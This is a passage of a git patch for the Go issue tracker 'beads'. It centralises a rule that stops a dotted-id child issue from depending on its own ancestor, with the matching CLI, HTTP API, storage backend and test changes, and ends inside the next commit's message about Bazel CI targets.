- want: true, - }, - - // Negative cases: should NOT be detected as child - { - name: "same ID", - childID: "bd-abc", - parentID: "bd-abc", - want: false, - }, - { - name: "not a child - unrelated IDs", - childID: "bd-xyz", - parentID: "bd-abc", - want: false, - }, - { - name: "not a child - sibling", - childID: "bd-abc.2", - parentID: "bd-abc.1", - want: false, - }, - { - name: "reversed - parent is not child of child", - childID: "bd-abc", - parentID: "bd-abc.1", - want: false, - }, - { - name: "prefix but not hierarchical", - childID: "bd-abcd", - parentID: "bd-abc", - want: false, - }, - { - name: "not hierarchical ID", - childID: "bd-abc", - parentID: "bd-xyz", - want: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got := isChildOf(tt.childID, tt.parentID) - if got != tt.want { - t.Errorf("isChildOf(%q, %q) = %v, want %v", tt.childID, tt.parentID, got, tt.want) - } - }) - } -} - // TestDepRoutedTargetOpensReadOnly is the regression guard for the dep/link // target-resolution invariant: a cross-rig dependency target is resolved by ID // only, so resolveIDWithRouting must open the routed foreign store read-only, diff --git a/cmd/bd/dependency_hierarchy_test.go b/cmd/bd/dependency_hierarchy_test.go deleted file mode 100644 index c50be2e29..000000000 --- a/cmd/bd/dependency_hierarchy_test.go +++ /dev/null @@ -1,55 +0,0 @@ -package main - -import ( - "testing" - - "github.com/steveyegge/beads/internal/types" -) - -func TestIsDisallowedHierarchicalDependency(t *testing.T) { - tests := []struct { - name string - fromID string - toID string - depType types.DependencyType - want bool - }{ - { - name: "immediate parent-child allowed", - fromID: "bd-root.1.2", - toID: "bd-root.1", - depType: types.DepParentChild, - want: false, - }, - { - name: "immediate parent blocks rejected", - fromID: "bd-root.1.2", - toID: "bd-root.1", - depType: types.DepBlocks, - want: true, - }, - { - name: "grandparent parent-child rejected", - fromID: "bd-root.1.2", - toID: "bd-root", - depType: types.DepParentChild, - want: true, - }, - { - name: "unrelated target allowed", - fromID: "bd-root.1.2", - toID: "bd-other", - depType: types.DepBlocks, - want: false, - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got := isDisallowedHierarchicalDependency(tt.fromID, tt.toID, tt.depType) - if got != tt.want { - t.Fatalf("isDisallowedHierarchicalDependency(%q, %q, %q) = %v, want %v", tt.fromID, tt.toID, tt.depType, got, tt.want) - } - }) - } -} diff --git a/cmd/bd/graph_apply.go b/cmd/bd/graph_apply.go index 9a52f1415..407dae867 100644 --- a/cmd/bd/graph_apply.go +++ b/cmd/bd/graph_apply.go @@ -143,7 +143,7 @@ type GraphApplyDryRunRow struct { ParentID string `json:"parent_id,omitempty"` } -const graphApplyDryRunTransactionValidationNote = "dry-run validates the graph structure only; live create may still reject parent-child blocking paths after resolving stored dependencies" +const graphApplyDryRunTransactionValidationNote = "dry-run validates the graph structure only; live create may still reject parent-child blocking paths after resolving stored dependencies, or an edge that gates a dotted-id child on its own ancestor" // Known-field sets list the JSON keys recognized on each plan struct; unknown // keys warn about schema typos. Derived from json tags so they can't drift. (GH#3367) diff --git a/cmd/bd/link.go b/cmd/bd/link.go index a05be924b..2ad45f829 100644 --- a/cmd/bd/link.go +++ b/cmd/bd/link.go @@ -8,6 +8,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/issueops" ) var linkCmd = &cobra.Command{ @@ -63,8 +64,10 @@ Examples: defer toCleanup() dt := types.DependencyType(depType) - if isDisallowedHierarchicalDependency(fromID, toID, dt) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", fromID, toID) + // bd link writes through the store's own dependency verb rather than + // the DependencyEditor role, so it asks the role's rule directly. + if err := issueops.CheckDottedChildDependency(fromID, toID, dt); err != nil { + return HandleErrorRespectJSON("%v", err) } if !dt.IsValid() { diff --git a/cmd/bd/link_proxied_server.go b/cmd/bd/link_proxied_server.go index aef888968..c3a4c05af 100644 --- a/cmd/bd/link_proxied_server.go +++ b/cmd/bd/link_proxied_server.go @@ -10,6 +10,7 @@ import ( "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/issueops" ) func runLinkProxiedServer(cmd *cobra.Command, ctx context.Context, args []string) error { @@ -18,8 +19,8 @@ func runLinkProxiedServer(cmd *cobra.Command, ctx context.Context, args []string depType, _ := cmd.Flags().GetString("type") dt := types.DependencyType(depType) - if isDisallowedHierarchicalDependency(id1, id2, dt) { - return HandleErrorRespectJSON("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", id1, id2) + if err := issueops.CheckDottedChildDependency(id1, id2, dt); err != nil { + return HandleErrorRespectJSON("%v", err) } if !dt.IsValid() { diff --git a/internal/httpapi/batch_apply_test.go b/internal/httpapi/batch_apply_test.go index 824775f21..3c2c9c5c2 100644 --- a/internal/httpapi/batch_apply_test.go +++ b/internal/httpapi/batch_apply_test.go @@ -889,6 +889,19 @@ func TestApplyBatchMapsTheRolesTypedRefusalsOntoTheDocumentedCodes(t *testing.T) wantStatus: http.StatusNotFound, wantCode: "not_found", }, + { + // The dotted-id hierarchy rule is request validation (it unwraps to + // ErrValidation), never the hierarchy CONFLICT's dependency_cycle: + // it is decided from the two resolved ids, ahead of every check that + // reads the stored graph, so even a child whose parent-child edge IS + // stored gets this 400, with no hierarchy members to describe. + name: "a dotted child gated on its own parent", + err: itemErr(0, issueops.ItemDepAdd, "", "bd-1.1", + &issueops.DottedChildDependencyError{IssueID: "bd-1.1", DependsOnID: "bd-1", Type: issueops.DepBlocks}), + wantStatus: http.StatusBadRequest, + wantCode: "invalid_argument", + wantParam: "items", + }, { name: "the workspace's own validation", err: itemErr(0, issueops.ItemCreate, "", "", storage.ErrValidation), diff --git a/internal/httpapi/dependency_edit_test.go b/internal/httpapi/dependency_edit_test.go index 6761969ac..96be92261 100644 --- a/internal/httpapi/dependency_edit_test.go +++ b/internal/httpapi/dependency_edit_test.go @@ -564,6 +564,20 @@ func TestAddDependenciesMapsTheGraphsTypedRefusals(t *testing.T) { wantCode: CodeInvalidArgument, wantMembers: map[string]any{"param": "edges[0].depends_on_id"}, }, + { + // The dotted-id hierarchy rule (issueops.CheckDottedChildDependency) + // is the role's validation, so it is the 400 below and never the + // hierarchy conflict's dependency_cycle members. + name: "a dotted child gated on its own parent is a 400 on edges", + body: oneEdge, + err: &issueops.DottedChildDependencyError{ + IssueID: "bd-1.1", DependsOnID: "bd-1", Type: issueops.DepBlocks, + }, + wantStatus: http.StatusBadRequest, + wantCode: CodeInvalidArgument, + wantMembers: map[string]any{"param": "edges"}, + absentMembers: []string{"issue_id", "blocker_id", "blocker_is_ancestor"}, + }, { name: "the role's own validation refusal is a 400 on edges", body: oneEdge, diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index f62181bf3..7465f20b6 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -4277,6 +4277,9 @@ paths: or a payload its `kind` does not name, a `create` with no `title`, a duplicate `key`, a `Ref` with neither `key` nor `id` or with both, a `dep_add` with an unstorable `type` or pointing a row at ITSELF, a + `dep_add` from a dotted-id child to one of its own ancestors + (anything but the parent-child edge to its IMMEDIATE parent, judged + once the item's refs resolve and carrying `param` `items`), a `waits-for` gate outside its two values, an item a workspace's own validation refuses, and an edge endpoint that names nothing this database can see. An explicit `create.id` that already names a @@ -4396,7 +4399,9 @@ paths: and `blocker_is_ancestor`. They may come from the per-edge probe or from the END GATE, which is the one place an edge that is legal on its own and illegal in the graph this request built is caught. - Neither has a force bypass. + Neither has a force bypass. A `dep_add` from a dotted-id child to an + ancestor its own id names is neither: it is a `400` + `invalid_argument`, as on that operation. `already_exists` is a `create` item whose EXPLICIT `id` already @@ -5598,13 +5603,19 @@ paths: is empty after trimming, longer than 256 bytes or carrying control characters, an empty or over-long `edges` array, a blank or over-long endpoint id, an unstorable `type`, an edge that points an - issue at ITSELF, or an edge endpoint that names nothing this - database can see. Nothing is written in any of these cases. + issue at ITSELF, an edge from a dotted-id child to one of its own + ancestors (anything but the parent-child edge to its IMMEDIATE + parent), or an edge endpoint that names nothing this database can + see. Nothing is written in any of these cases. A self-dependency is a `400` rather than a `409` because it is request-intrinsic: it is invalid whatever the graph holds, so it is - a refusal of a VALUE and not a statement about state. An endpoint + a refusal of a VALUE and not a statement about state. The dotted-id + child's edge is a `400` for the same reason, carrying `param` + `edges`: the two ids decide it before the graph is read, so even a + child whose parent-child edge is already stored gets this `400`, + never the `409` hierarchy refusal or `dependency_exists`. An endpoint that names nothing is a `400` rather than a `404` for `POST /v0/beads/issues:batchCreate`'s reason: the refusal is about the request BODY, and there is no id in the path to have missed. @@ -5636,6 +5647,11 @@ paths: Neither has a force bypass. The recovery for both is to rethink the edge, which is why they are one status and not a retry. + + + An edge from a dotted-id child to an ancestor its own id names is + neither: it is a `400` `invalid_argument`, decided from the two ids + before the graph is read. x-bd-codes: [dependency_cycle, dependency_exists] content: application/problem+json: diff --git a/internal/httpclient/dependencyeditor.go b/internal/httpclient/dependencyeditor.go index a94a38d89..dd1c53222 100644 --- a/internal/httpclient/dependencyeditor.go +++ b/internal/httpclient/dependencyeditor.go @@ -135,5 +135,9 @@ func checkEdge(i int, edge issueops.DependencyEdge) error { case edge.IssueID == edge.DependsOnID: return fmt.Errorf("%s: %w", edge.IssueID, issueops.ErrSelfDependency) } - return nil + // The dotted-id hierarchy rule, for the self-dependency check's reason: the + // server refuses it as a 400 that arrives here as a bare ErrValidation, + // while the role promises the typed *DottedChildDependencyError. It is the + // library's own check, not a restatement. + return issueops.CheckDottedChildDependency(edge.IssueID, edge.DependsOnID, edge.Type) } diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index 1117c51b8..e7aa98872 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -265,6 +265,10 @@ func TestServedBatchApplyCloseItemsAnswerToTheCloseGuards(t *testing.T) { conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, t.Context(), newServedBatchApplyFixture(t, "hbacg")) } +func TestServedBatchApplyRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, t.Context(), newServedBatchApplyFixture(t, "hbadot")) +} + // TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add // HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a // served default Config always advertises CapBatchApplyDepAddLineage (it is diff --git a/internal/httpclient/served_memories_deps_test.go b/internal/httpclient/served_memories_deps_test.go index 014f38ce3..5550f0b4b 100644 --- a/internal/httpclient/served_memories_deps_test.go +++ b/internal/httpclient/served_memories_deps_test.go @@ -10,6 +10,7 @@ import ( "testing" "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/httpapi/apigen" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -389,6 +390,10 @@ func TestServedDependencyEditorAcceptsBlockingAcrossIssueTypes(t *testing.T) { conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes(t, t.Context(), newServedDependencyEditorFixture(t, "hd32")) } +func TestServedDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + conformance.RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t, t.Context(), newServedDependencyEditorFixture(t, "hddot")) +} + func TestServedDependencyEditorGateScopeFollowsTheEdgeType(t *testing.T) { conformance.RunDependencyEditorGateScopeFollowsTheEdgeType(t, t.Context(), newServedDependencyEditorFixture(t, "hd33")) } @@ -433,3 +438,37 @@ func TestServedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *test func TestServedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T) { conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t, t.Context(), newServedDependencyEditorFixture(t, "hd41")) } + +// TestServedServerRefusesADottedChildGatedOnItsOwnParent sends the edge on the +// raw wire, past the client's own CheckDottedChildDependency, so what refuses +// it is the SERVER's role — the leg a non-bd HTTP caller (gc, curl) reaches. +// Before the rule moved into issueops only the CLI refused it, and this edge +// landed. +func TestServedServerRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + env := newServedEnv(t, "hddotw") + parent := env.prefix + "-dotted" + child := parent + ".1" + for _, id := range []string{parent, child} { + if err := env.createIssue(t.Context(), &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + w, err := env.subject.roleWire("DependencyEditor") + if err != nil { + t.Fatalf("roleWire: %v", err) + } + _, err = w.AddDependencies(t.Context(), apigen.AddDependenciesRequest{ + Actor: "writer", + Edges: []apigen.DependencyEdge{{IssueId: child, DependsOnId: parent, Type: "blocks"}}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("raw-wire child -> parent blocks: error = %v, want the server's ErrValidation refusal", err) + } + var n int + if err := env.queryScalar(t.Context(), "SELECT COUNT(*) FROM dependencies WHERE issue_id = ?", []any{child}, &n); err != nil { + t.Fatalf("count edges: %v", err) + } + if n != 0 { + t.Fatalf("%d edge(s) from %s landed; the server must refuse a dotted child gated on its own parent", n, child) + } +} diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 8ead3a15b..5d009ca38 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -270,6 +270,11 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) }) + t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) + }) } // newDoltBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/dependency_editor_contract_test.go b/internal/storage/dolt/dependency_editor_contract_test.go index f5fac1515..57167a4a4 100644 --- a/internal/storage/dolt/dependency_editor_contract_test.go +++ b/internal/storage/dolt/dependency_editor_contract_test.go @@ -259,6 +259,12 @@ func TestDependencyEditorAcceptsBlockingAcrossIssueTypes(t *testing.T) { conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes(t, ctx, fixture) } +func TestDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + fixture, ctx, cleanup := newDoltDependencyEditorFixture(t, "dotted") + defer cleanup() + conformance.RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) +} + // newDoltDependencyEditorFixture composes the backend's role fixture kit with // the accessor under test. Every hook but the accessor comes from the kit, so // the seeding and scalar-query plumbing stays identical to the other roles'. diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index 9280f9acb..6d330a163 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -196,6 +196,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) }) + t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { + conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) + }) } // newEmbeddedBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/embeddeddolt/dependency_editor_contract_test.go b/internal/storage/embeddeddolt/dependency_editor_contract_test.go index 88335f2d7..d51e7edd2 100644 --- a/internal/storage/embeddeddolt/dependency_editor_contract_test.go +++ b/internal/storage/embeddeddolt/dependency_editor_contract_test.go @@ -261,6 +261,12 @@ func TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes(t *testing.T) { conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "xtype")) } +func TestEmbeddedDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t *testing.T) { + skipUnlessEmbeddedDolt(t) + ctx := t.Context() + conformance.RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent(t, ctx, newEmbeddedDependencyEditorFixture(t, ctx, "dotted")) +} + // newEmbeddedDependencyEditorFixture composes the backend's role fixture kit // with the accessor under test. Every hook but the accessor comes from the kit, // so the seeding and scalar-query plumbing stays identical to the other roles'. diff --git a/internal/storage/issueops/batch_apply.go b/internal/storage/issueops/batch_apply.go index 1621e772e..0459110eb 100644 --- a/internal/storage/issueops/batch_apply.go +++ b/internal/storage/issueops/batch_apply.go @@ -352,6 +352,12 @@ func (r *applyBatchRun) applyDepAdd(ctx context.Context, tx *sql.Tx, index int, // bound to. The planner catches only the syntactically identical pair. return itemErr(fmt.Errorf("%w: %s", publicops.ErrSelfDependency, source)) } + // The dotted-id hierarchy rule DependencyEditor applies, on the RESOLVED + // ids: a key can name a row whose minted id is a dotted child, so the planner + // cannot decide this before the creates ran. + if err := publicops.CheckDottedChildDependency(source, target, item.Type); err != nil { + return itemErr(err) + } // THE CROSS-PLANE REFUSAL IS ABOUT ROWS THIS REQUEST CREATED, and only // those. The two planes hold their edges in different tables, so an edge // between a durable row and a wisp the same batch minted is one the batch diff --git a/internal/storage/issueops/dependency_editor.go b/internal/storage/issueops/dependency_editor.go index ec8cb46b1..d1c7fac46 100644 --- a/internal/storage/issueops/dependency_editor.go +++ b/internal/storage/issueops/dependency_editor.go @@ -21,6 +21,12 @@ import ( // self-edge otherwise trips the cycle check and reports the wrong refusal, and // SkipPerEdgeCycleCheck would skip it entirely. // +// The dotted-id hierarchy rule (publicops.CheckDottedChildDependency) is here +// for the same reason: it is decided from the request alone, and putting it in +// the shared validator is what makes every leg — dolt, embedded, the unit of +// work and the server behind httpapi — refuse a child gated on its own dotted +// parent, not only the CLI that used to check it before calling the role. +// // The type check is that there IS a type — non-empty, within the column's // length. It is deliberately not a membership test: the vocabulary is an open, // workspace-configurable set (see the Dep* constants), so refusing an unlisted @@ -43,6 +49,9 @@ func ValidateAddDependenciesRequest(request publicops.AddDependenciesRequest) er if edge.IssueID == edge.DependsOnID { return fmt.Errorf("%w: %s cannot depend on itself", domain.ErrSelfDependency, edge.IssueID) } + if err := publicops.CheckDottedChildDependency(edge.IssueID, edge.DependsOnID, edge.Type); err != nil { + return err + } } return nil } diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index b26025a5c..8562f63b7 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -461,6 +461,9 @@ func (r *uowApplyRun) applyDepAdd(ctx context.Context, index int, item *publicop if source == target { return itemErr(fmt.Errorf("%w: %s", publicops.ErrSelfDependency, source)) } + if err := publicops.CheckDottedChildDependency(source, target, item.Type); err != nil { + return itemErr(err) + } sourceWisp, sourceMine := r.planes[source] targetWisp, targetMine := r.planes[target] if sourceMine && targetMine && sourceWisp != targetWisp { diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index 2d8b4673d..edfa1af3d 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -166,6 +166,9 @@ func TestBatchApplyContract(t *testing.T) { t.Run("CloseItemsAnswerToTheCloseGuards", func(t *testing.T) { conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, ctx, fixture) }) + t.Run("RefusesADottedChildGatedOnItsOwnParent", func(t *testing.T) { + conformance.RunBatchApplyRefusesADottedChildGatedOnItsOwnParent(t, ctx, fixture) + }) } func newUOWBatchApplyFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchApplyFixture { diff --git a/internal/storage/uow/dependency_editor_contract_test.go b/internal/storage/uow/dependency_editor_contract_test.go index 855ec2521..3d2cc274a 100644 --- a/internal/storage/uow/dependency_editor_contract_test.go +++ b/internal/storage/uow/dependency_editor_contract_test.go @@ -66,6 +66,7 @@ func TestUOWDependencyEditorContract(t *testing.T) { {name: "AcceptsADiamond", run: conformance.RunDependencyEditorAcceptsADiamond}, {name: "GateScopeFollowsTheEdgeType", run: conformance.RunDependencyEditorGateScopeFollowsTheEdgeType}, {name: "AcceptsBlockingAcrossIssueTypes", run: conformance.RunDependencyEditorAcceptsBlockingAcrossIssueTypes}, + {name: "RefusesADottedChildGatedOnItsOwnParent", run: conformance.RunDependencyEditorRefusesADottedChildGatedOnItsOwnParent}, } { t.Run(test.name, func(t *testing.T) { test.run(t, ctx, fixture) diff --git a/issueops/dependencyeditor.go b/issueops/dependencyeditor.go index f9b0683eb..16cfc1b5b 100644 --- a/issueops/dependencyeditor.go +++ b/issueops/dependencyeditor.go @@ -2,6 +2,8 @@ package issueops import ( "context" + "fmt" + "strings" "github.com/steveyegge/beads/internal/types" ) @@ -147,12 +149,20 @@ type RemoveDependencyResult struct { type DependencyEditor interface { // AddDependencies asserts every edge in the request as ONE durable act: // one transaction, one history entry. Any refused edge refuses the whole - // request and writes nothing — a self-dependency (ErrSelfDependency), a - // scheduling cycle (ErrDependencyCycle), a conflicting type on a pair that - // already has an edge (*DependencyTypeConflictError), a blocking edge that - // would gate an issue on its own ancestor or descendant - // (*DependencyHierarchyConflictError), or a SOURCE that does not exist - // (ErrDependencySourceNotFound). + // request and writes nothing — a self-dependency (ErrSelfDependency), an + // explicit edge from a dotted-id child to its own ancestor + // (*DottedChildDependencyError), a scheduling cycle (ErrDependencyCycle), + // a conflicting type on a pair that already has an edge + // (*DependencyTypeConflictError), a blocking edge that would gate an issue + // on its own ancestor or descendant (*DependencyHierarchyConflictError), + // or a SOURCE that does not exist (ErrDependencySourceNotFound). + // + // The dotted-child refusal is decided from the request alone, before any + // read, so it takes precedence over every refusal that reads stored rows: + // a child whose parent-child edge to that parent is already stored (the + // `bd create --parent` shape) is refused with *DottedChildDependencyError, + // which matches ErrValidation, not with the hierarchy or type conflict the + // stored edge would otherwise raise. // // A target's existence is checked only where the backend can see it. A // target may legitimately be an "external:" reference or an issue in @@ -188,3 +198,72 @@ type DependencyEditor interface { // missing edge is Removed false with a nil error, not ErrNotFound. RemoveDependency(ctx context.Context, req RemoveDependencyRequest) (RemoveDependencyResult, error) } + +// DottedChildDependencyError refuses an explicit edge from a dotted-id child to +// its own ancestor. The id already says "bd-abc.1 is under bd-abc": a child +// inherits its parent's completion through the hierarchy, so a blocking (or any +// other) explicit edge back up the tree either duplicates that structure or, for +// a blocking type, deadlocks it — the parent cannot close before the child, and +// the child would wait on the parent. +// +// The one edge it allows is the hierarchy itself: a parent-child edge to the +// IMMEDIATE dotted parent. A parent-child edge to a higher ancestor is refused +// too, because it would contradict the parent the id names. +// +// It unwraps to ErrValidation: the refusal is decidable from the two ids and +// the type alone, with no read, so it is a property of the request. +// +// The message is the sentence `bd dep add` already printed, kept verbatim, so +// it says "deadlock" whatever the type; Type is carried for callers that +// inspect the refusal and is not rendered. +type DottedChildDependencyError struct { + IssueID string + DependsOnID string + Type DependencyType +} + +func (e *DottedChildDependencyError) Error() string { + return fmt.Sprintf("cannot add dependency: %s is already a child of %s. Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock", + e.IssueID, e.DependsOnID) +} + +// Unwrap classifies the refusal as request validation. +func (e *DottedChildDependencyError) Unwrap() error { return ErrValidation } + +// IsDottedChildDependency reports whether an edge from issueID to dependsOnID +// of type depType is the dotted-id hierarchy conflict CheckDottedChildDependency +// refuses. It is exported for callers that phrase the refusal themselves (a +// bulk report naming the offending line); every role enforces it through +// CheckDottedChildDependency. +func IsDottedChildDependency(issueID, dependsOnID string, depType DependencyType) bool { + _, immediateParent, depth := types.ParseHierarchicalID(issueID) + if depth == 0 || dependsOnID == "" { + return false + } + if dependsOnID != immediateParent && !strings.HasPrefix(issueID, dependsOnID+".") { + return false + } + return depType != DepParentChild || dependsOnID != immediateParent +} + +// CheckDottedChildDependency is the ONE enforcement of the dotted-id hierarchy +// rule. Every DependencyEditor implementation applies it to each requested edge +// and every BatchApplier applies it to each dep_add item once its refs resolve, +// so `bd dep add`, an HTTP dependencies:add, and a batch apply (including +// `bd create --graph`'s own edges) refuse the same edge the same way. Two CLI +// paths that write an edge through a store verb instead of a role call it +// themselves: `bd link` and `bd batch`'s `dep add`. +// +// Other edge writers do not apply it yet, so they can still store an edge the +// roles refuse. The known ones are `bd relate`; the edges a create writes with +// its issue (`bd create --deps`/`--waits-for`, and Lifecycle.Create's ParentID, +// Dependencies and WaitsFor); `bd duplicate`, `bd supersede` and +// `bd duplicates --auto-merge`'s link and reparenting; and the tracker engine's +// createDependencies. The molecule, template and swarm writers have not been +// audited against it. bd-25s1wh tracks the gap. +func CheckDottedChildDependency(issueID, dependsOnID string, depType DependencyType) error { + if IsDottedChildDependency(issueID, dependsOnID, depType) { + return &DottedChildDependencyError{IssueID: issueID, DependsOnID: dependsOnID, Type: depType} + } + return nil +} diff --git a/issueops/issueops_external_test.go b/issueops/issueops_external_test.go index 4f12dffbc..fd8f81ce2 100644 --- a/issueops/issueops_external_test.go +++ b/issueops/issueops_external_test.go @@ -340,3 +340,58 @@ func (operationsProbe) Close(context.Context, issueops.CloseRequest) (issueops.C func (operationsProbe) Reopen(context.Context, issueops.ReopenRequest) (issueops.ReopenResult, error) { return issueops.ReopenResult{}, nil } + +// TestCheckDottedChildDependency pins the dotted-id hierarchy rule every +// DependencyEditor and BatchApplier enforces. It absorbs the CLI's former +// isChildOf / isDisallowedHierarchicalDependency tables. +func TestCheckDottedChildDependency(t *testing.T) { + for _, tt := range []struct { + name string + from string + to string + depType issueops.DependencyType + want bool + }{ + {"direct child blocks on parent", "bd-abc.1", "bd-abc", issueops.DepBlocks, true}, + {"grandchild blocks on grandparent", "bd-abc.1.2", "bd-abc", issueops.DepBlocks, true}, + {"grandchild blocks on immediate parent", "bd-abc.1.2", "bd-abc.1", issueops.DepBlocks, true}, + {"deeply nested child blocks on root", "bd-abc.1.2.3", "bd-abc", issueops.DepBlocks, true}, + {"child relates to parent", "bd-abc.1", "bd-abc", issueops.DepRelated, true}, + {"grandchild parent-child to grandparent", "bd-root.1.2", "bd-root", issueops.DepParentChild, true}, + {"immediate parent-child allowed", "bd-root.1.2", "bd-root.1", issueops.DepParentChild, false}, + {"same id", "bd-abc", "bd-abc", issueops.DepBlocks, false}, + {"unrelated ids", "bd-xyz", "bd-abc", issueops.DepBlocks, false}, + {"unrelated target from a dotted child", "bd-root.1.2", "bd-other", issueops.DepBlocks, false}, + {"sibling", "bd-abc.2", "bd-abc.1", issueops.DepBlocks, false}, + {"parent on its child", "bd-abc", "bd-abc.1", issueops.DepBlocks, false}, + {"prefix but not hierarchical", "bd-abcd", "bd-abc", issueops.DepBlocks, false}, + {"textual prefix of a dotted id is not an ancestor", "bd-abc.10", "bd-abc.1", issueops.DepBlocks, false}, + {"external target", "bd-abc.1", "external:bd-abc", issueops.DepBlocks, false}, + } { + t.Run(tt.name, func(t *testing.T) { + if got := issueops.IsDottedChildDependency(tt.from, tt.to, tt.depType); got != tt.want { + t.Fatalf("IsDottedChildDependency(%q, %q, %q) = %v, want %v", tt.from, tt.to, tt.depType, got, tt.want) + } + err := issueops.CheckDottedChildDependency(tt.from, tt.to, tt.depType) + if !tt.want { + if err != nil { + t.Fatalf("CheckDottedChildDependency = %v, want nil", err) + } + return + } + var dotted *issueops.DottedChildDependencyError + if !errors.As(err, &dotted) || !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("CheckDottedChildDependency = %v, want *DottedChildDependencyError matching ErrValidation", err) + } + if dotted.IssueID != tt.from || dotted.DependsOnID != tt.to || dotted.Type != tt.depType { + t.Fatalf("refusal = %#v, want the edge it refused", dotted) + } + // The CLI prints this sentence verbatim, so it is behaviour. + want := "cannot add dependency: " + tt.from + " is already a child of " + tt.to + + ". Children inherit dependency on parent completion via hierarchy. Adding an explicit dependency would create a deadlock" + if err.Error() != want { + t.Fatalf("message = %q, want %q", err.Error(), want) + } + }) + } +} From c21880105fc1608a58f8472fdeff8f57a3f0c263 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 23:29:35 +0000 Subject: [PATCH 088/213] ci(bazel): split embedded conformance core into two targets (#7446) //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test ran conformance.RunAll minus Audit as one unsharded action, 108-150s on rbe-west, the embedded lane's longest after #7443. Every RunAll group builds its own store from the factory, so the groups share no state and can run in separate processes; about half the time was two groups, ReadyCountsPageChunking (~33s) and Portable (~20s). The new embeddeddolt_conformance_core_slow_test runs exactly those two groups (-test.run=^TestConformance$/^(ReadyCountsPageChunking|Portable)$), and the core target skips them along with Audit. The core target skips only named groups, so any group added to or renamed in RunAll still runs there: between them the two targets run every core group exactly once (rbe-west: 57 + 2 groups, no overlap, the same 59 as before). No test changed. The frozen-partition check now derives both targets' selectors from the retired job's core selector plus conformanceCoreSlowGroups; the retired-lane arg pins, bazel.yml's --whole list and the BUILD rules carry the new target. rbe-west, `bazel test //... --config=embedded --nocache_test_results`: conformance core 148s -> 55s + 57s. Bead: ga-vnycm2.31 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 1 + internal/storage/embeddeddolt/BUILD.bazel | 35 ++++++++++++++++-- 